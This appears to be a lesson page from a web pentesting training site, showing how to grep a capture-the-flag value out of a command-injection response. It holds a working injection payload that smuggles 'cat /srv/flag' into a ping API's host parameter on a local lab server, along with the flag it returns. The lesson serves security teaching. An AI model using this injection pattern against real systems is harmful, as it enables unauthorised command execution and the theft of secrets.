Extracting just the loot

Signal, not noise

The raw response mixes your result with ping errors. A pentester's script should surface just the interesting part. The flag has a clear shape — vulntech{...} — so match it with grep:

curl -s 'http://127.0.0.1:8080/api/ping?host=127.0.0.1;cat%20/srv/flag' | grep -o 'vulntech{[^}]*}'

In the terminal

student@vulntech:~$ curl -s 'http://127.0.0.1:8080/api/ping?host=127.0.0.1;cat%20/srv/flag' | grep -o 'vulntech{[^}]*}'
vulntech{web_pentest_machine_ready}

grep -o prints only the part that matched. Now your tooling hands you the flag and nothing else — the same discipline you'd use to pull out a password, a token or a session id from a messy response.

Tip: A good report records the exact request you sent and the exact response you got. Save both to files as you go, so your findings are reproducible and nobody has to take your word for it.

HOME LEARN COMMUNITY DASHBOARD
Practice terminal Starting…